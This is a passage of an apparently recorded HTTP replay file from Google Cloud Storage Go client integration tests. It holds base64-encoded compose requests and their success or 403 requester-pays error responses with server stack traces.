Gkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "08fda3fa173e6e11", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/compose/compose?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "127" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImZvbyJ9LHsibmFtZSI6ImNvcHkifV19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "742" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:19 GMT" - ], - "Etag": [ - "CKy2sd/x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqfGXVJ2-MQaZWJ-JS6runpSycA3GDKIXYHDGf3VBOXnADbUzL2YhZVmlQcW_95jXY0eMkK4Z5tSRk3cxGP_84T_1t3YDYQS2p37ZouBk7GfX-4xxw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9jb21wb3NlLzE1NTY4MzU5MTg5NjE0NTIiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb21wb3NlIiwibmFtZSI6ImNvbXBvc2UiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxODk2MTQ1MiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxOC45NjFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTguOTYxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE4Ljk2MVoiLCJzaXplIjoiMTAiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29tcG9zZT9nZW5lcmF0aW9uPTE1NTY4MzU5MTg5NjE0NTImYWx0PW1lZGlhIiwiY3JjMzJjIjoiL1JDT2dnPT0iLCJjb21wb25lbnRDb3VudCI6MiwiZXRhZyI6IkNLeTJzZC94L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "0c9e19bd4ec37de2", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/compose/compose?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "127" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImZvbyJ9LHsibmFtZSI6ImNvcHkifV19Cg==" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13123" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:19 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqGREJ2AZDcrZiJzPX5ltwlB28vRYhZ_xv4LMIO3La2IgFWk4wd5IVrqBs3z2epgtg7wkPpZm4qPH9zTzSIsXNxdLLHcNMMYr2azidefxtJVgXqgDY" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YToxOTkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5Db21wb3NlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChDb21wb3NlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuY29tcG9zZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYX